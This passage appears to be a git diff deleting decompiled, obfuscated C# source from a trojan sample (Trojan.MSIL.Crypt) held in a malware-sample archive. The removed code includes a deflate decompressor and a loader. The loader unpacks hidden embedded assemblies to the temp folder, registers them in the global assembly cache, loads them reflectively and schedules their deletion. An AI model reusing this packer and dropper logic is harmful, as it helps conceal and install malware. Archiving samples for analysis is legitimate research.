obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0005 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0004; - this.\u0004 >>= 8; - this.\u0005 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0003 - this.\u0002; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 += obj2; - if ((this.\u0002 - this.\u0003 & 1) != 0) - { - this.\u0004 = (uint) this.\u0001[this.\u0002++] & (uint) byte.MaxValue; - this.\u0005 = 8; - } - return num1 + obj2; - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0002 < this.\u0003) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005); - this.\u0005 += 8; - } - this.\u0001 = obj0; - this.\u0002 = obj1; - this.\u0003 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0003.\u0003.\u0001 - 1; - private byte[] \u0003 = new byte[\u0003.\u0003.\u0001]; - private int \u0004; - private int \u0005; - - public void \u0003([In] int obj0) - { - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0005; - obj.\u0005 = num1 + 1; - if (num2 == \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0003[this.\u0004++] = (byte) obj0; - this.\u0004 &= \u0003.\u0003.\u0002; - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0003; - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0003[obj0++]; - numArray[index] = (byte) num3; - this.\u0004 &= \u0003.\u0003.\u0002; - obj0 &= \u0003.\u0003.\u0002; - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - if ((this.\u0005 += obj0) > \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0004 - obj1 & \u0003.\u0003.\u0002; - int num = \u0003.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0004 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0003, sourceIndex, (Array) this.\u0003, this.\u0004, obj0); - this.\u0004 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0003[this.\u0004++] = this.\u0003[sourceIndex++]; - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - - public int \u0003([In] \u0003.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0003.\u0003.\u0001 - this.\u0005), obj0.\u0004()); - int num1 = \u0003.\u0003.\u0001 - this.\u0004; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0003, this.\u0004, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0003, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0003, this.\u0004, obj1); - this.\u0004 = this.\u0004 + num2 & \u0003.\u0003.\u0002; - this.\u0005 += num2; - return num2; - } - - public int \u0003() => \u0003.\u0003.\u0001 - this.\u0005; - - public int \u0004() => this.\u0005; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0004; - if (obj2 > this.\u0005) - obj2 = this.\u0005; - else - num1 = this.\u0004 - this.\u0005 + obj2 & \u0003.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0003, \u0003.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0003, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0005 -= num2; - if (this.\u0005 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0002; - public static \u0003.\u0004 \u0003; - public static \u0003.\u0004 \u0004; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0003.\u0004.\u0003 = new \u0003.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0003.\u0004.\u0004 = new \u0003.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0003(obj0); - - private void \u0003([In] byte[] obj0) - { - int[] numArray1 = new int[\u0003.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0003.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0003.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0002 = new short[length]; - int num4 = 512; - for (int index3 = \u0003.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0002[(int) \u0003.\u0006.\u0003(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0003.\u0006.\u0003(num6); - if (index6 <= 9) - { - do - { - this.\u0002[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0002[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0002[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0003([In] \u0003.\u0002 obj0) - { - int index; - if ((index = obj0.\u0003(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0002[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0003(num3)) >= 0) - { - int num5 = (int) this.\u0002[num2 | num4 >> 9]; - obj0.\u0003(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0003(); - int num7 = obj0.\u0003(num6); - int num8 = (int) this.\u0002[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0003(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0003(); - int num10 = (int) this.\u0002[obj0.\u0003(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0003(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0003; - private byte[] \u0004; - private \u0003.\u0004 \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private int \u000F; - private int \u0010; - private byte \u0011; - private int \u0012; - private static readonly int[] \u0013 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0003([In] \u0003.\u0002 obj0) - { - while (true) - { - switch (this.\u0006) - { - case 0: - this.\u0007 = obj0.\u0003(5); - if (this.\u0007 >= 0) - { - this.\u0007 += 257; - obj0.\u0003(5); - this.\u0006 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0008 = obj0.\u0003(5); - if (this.\u0008 >= 0) - { - ++this.\u0008; - obj0.\u0003(5); - this.\u000F = this.\u0007 + this.\u0008; - this.\u0004 = new byte[this.\u000F]; - this.\u0006 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u000E = obj0.\u0003(4); - if (this.\u000E >= 0) - { - this.\u000E += 4; - obj0.\u0003(4); - this.\u0003 = new byte[19]; - this.\u0012 = 0; - this.\u0006 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0012 < this.\u000E; ++this.\u0012) - { - int num = obj0.\u0003(3); - if (num < 0) - return false; - obj0.\u0003(3); - this.\u0003[\u0003.\u0005.\u0013[this.\u0012]] = (byte) num; - } - this.\u0005 = new \u0003.\u0004(this.\u0003); - this.\u0003 = (byte[]) null; - this.\u0012 = 0; - this.\u0006 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0005.\u0003(obj0)) & -16) == 0) - { - this.\u0004[this.\u0012++] = this.\u0011 = (byte) num1; - if (this.\u0012 == this.\u000F) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0011 = (byte) 0; - this.\u0010 = num1 - 16; - this.\u0006 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0003.\u0005.\u0002[this.\u0010]; - int num3 = obj0.\u0003(num2); - if (num3 >= 0) - { - obj0.\u0003(num2); - int num4 = num3 + \u0003.\u0005.\u0001[this.\u0010]; - while (num4-- > 0) - this.\u0004[this.\u0012++] = this.\u0011; - if (this.\u0012 != this.\u000F) - { - this.\u0006 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0003.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0007]; - Array.Copy((Array) this.\u0004, 0, (Array) destinationArray, 0, this.\u0007); - return new \u0003.\u0004(destinationArray); - } - - public \u0003.\u0004 \u0004() - { - byte[] destinationArray = new byte[this.\u0008]; - Array.Copy((Array) this.\u0004, this.\u0007, (Array) destinationArray, 0, this.\u0008); - return new \u0003.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u000E = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u000F = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0010 = new short[\u0003.\u0006.\u0002]; - private static byte[] \u0011 = new byte[\u0003.\u0006.\u0002]; - private static short[] \u0012; - private static byte[] \u0013; - - public static short \u0003([In] int obj0) => (short) ((int) \u0003.\u0006.\u000F[obj0 & 15] << 12 | (int) \u0003.\u0006.\u000F[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0006.\u000F[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0006.\u000F[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(48 + index1 << 8); - for (; index1 < 256; \u0003.\u0006.\u0011[index1++] = (byte) 9) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(256 + index1 << 7); - for (; index1 < 280; \u0003.\u0006.\u0011[index1++] = (byte) 7) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 256 << 9); - for (; index1 < \u0003.\u0006.\u0002; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 88 << 8); - \u0003.\u0006.\u0012 = new short[\u0003.\u0006.\u0003]; - \u0003.\u0006.\u0013 = new byte[\u0003.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0003.\u0006.\u0003; ++index2) - { - \u0003.\u0006.\u0012[index2] = \u0003.\u0006.\u0003(index2 << 11); - \u0003.\u0006.\u0013[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0003() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0004() => this.\u0003() | this.\u0003() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0004.cs deleted file mode 100644 index 464c7dc1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0004.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0001; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0004 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0004.\u0001 \u0003; - internal static \u0004.\u0001 \u0004; - internal static \u0004.\u0002 \u0005; - internal static \u0004.\u0002 \u0006; - internal static \u0004.\u0003 \u0007; - internal static \u0004.\u0003 \u0008; - internal static \u0004.\u0004 \u000E; - internal static \u0004.\u0004 \u000F; - internal static \u0004.\u0005 \u0010; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0001.cs deleted file mode 100644 index dbe229f8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0001.cs +++ /dev/null @@ -1,301 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0001; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0002 -{ - internal sealed class \u0001 - { - private static Hashtable \u0001 = new Hashtable(); - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == "w3wp.exe") - return true; - if (lower == "aspnet_wp.exe") - return true; - } - catch (Exception ex) - { - } - return false; - } - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0001.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0001.\u0003()) - return; - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - try - { - string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index])); - string str2 = strArray[index + 1]; - if (str2.Length > 0) - { - if (str2[0] == '[') - { - int num = str2.IndexOf(']'); - string str3 = str2.Substring(1, num - 1); - string name = str2.Substring(num + 1); - bool flag = str3.IndexOf('z') >= 0; - if (str3.IndexOf('f') >= 0) - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0003.\u0003(buffer); - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(str1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0002.\u0002.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(obj1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - string str1 = string.Empty; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String1) - { - str1 = strArray[index + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0004.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String2) - { - str1 = strArray[index + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - int num = str1.IndexOf(']'); - string str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0002.\u0001.\u0001[(object) str1]; - } - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0003.\u0003(numArray); - if (flag2) - { - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - Assembly assembly = (Assembly) null; - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - if (\u0002.\u0002.\u0003(path2)) - assembly = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly != null) - { - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - assembly = (Assembly) \u0002.\u0001.\u0001[(object) str1]; - else - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly); - } - return assembly; - } - } - } - catch - { - } - } - Assembly assembly1 = (Assembly) null; - if (!flag3) - { - try - { - assembly1 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - string path3 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - string path4 = path3 + obj.\u0001 + ".dll"; - if (!File.Exists(path4)) - { - FileStream fileStream = File.OpenWrite(path4); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0002.\u0001.\u0003(path4, (string) null, 4); - \u0002.\u0001.\u0003(path3, (string) null, 4); - } - assembly1 = Assembly.LoadFile(path4); - } - catch - { - } - } - lock (\u0002.\u0001.\u0001) - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly1); - return assembly1; - } - } - return (Assembly) null; - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0002; - public string \u0003; - public string \u0004; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (obj0) - { - stringBuilder.Append(", Version="); - stringBuilder.Append((object) this.\u0002); - } - stringBuilder.Append(", Culture="); - stringBuilder.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003); - stringBuilder.Append(", PublicKeyToken="); - stringBuilder.Append(this.\u0004.Length == 0 ? "null" : this.\u0004); - return stringBuilder.ToString(); - } - - public \u0001([In] string obj0) - { - this.\u0002 = new Version(); - this.\u0003 = string.Empty; - this.\u0004 = string.Empty; - this.\u0001 = string.Empty; - string str1 = obj0; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith("Version=")) - this.\u0002 = new Version(str3.Substring(8)); - else if (str3.StartsWith("Culture=")) - { - this.\u0003 = str3.Substring(8); - if (this.\u0003 == "neutral") - this.\u0003 = string.Empty; - } - else if (str3.StartsWith("PublicKeyToken=")) - { - this.\u0004 = str3.Substring(15); - if (this.\u0004 == "null") - this.\u0004 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0002.cs deleted file mode 100644 index 6d85359e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0002.cs +++ /dev/null @@ -1,174 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0002.\u0002.\u0007 ppAsmCache, uint dwReserved); - - public static bool \u0003([In] string obj0) - { - \u0002.\u0002.\u0007 ppAsmCache = (\u0002.\u0002.\u0007) null; - return \u0002.\u0002.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0; - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0002.\u0002.\u0001 \u0001; - public long \u0002; - public Guid \u0003; - public \u0002.\u0002.\u0001 \u0004; - public int \u0005; - public int \u0006; - public int \u0007; - public \u0002.\u0002.\u0001 \u0008; - public string \u000E; - public int \u000F; - public int \u0010; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0002.\u0002.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0002.\u0002.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0002.\u0002.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0002.\u0002.\u0005 pName); - - void \u0001(out \u0002.\u0002.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0002.\u0002.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0002.\u0002.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0002.\u0002.\u0005 pName); - } - - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0002.\u0002.\u0003 ppStream); - - void \u0002(\u0002.\u0002.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0002.\u0002.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0003.cs 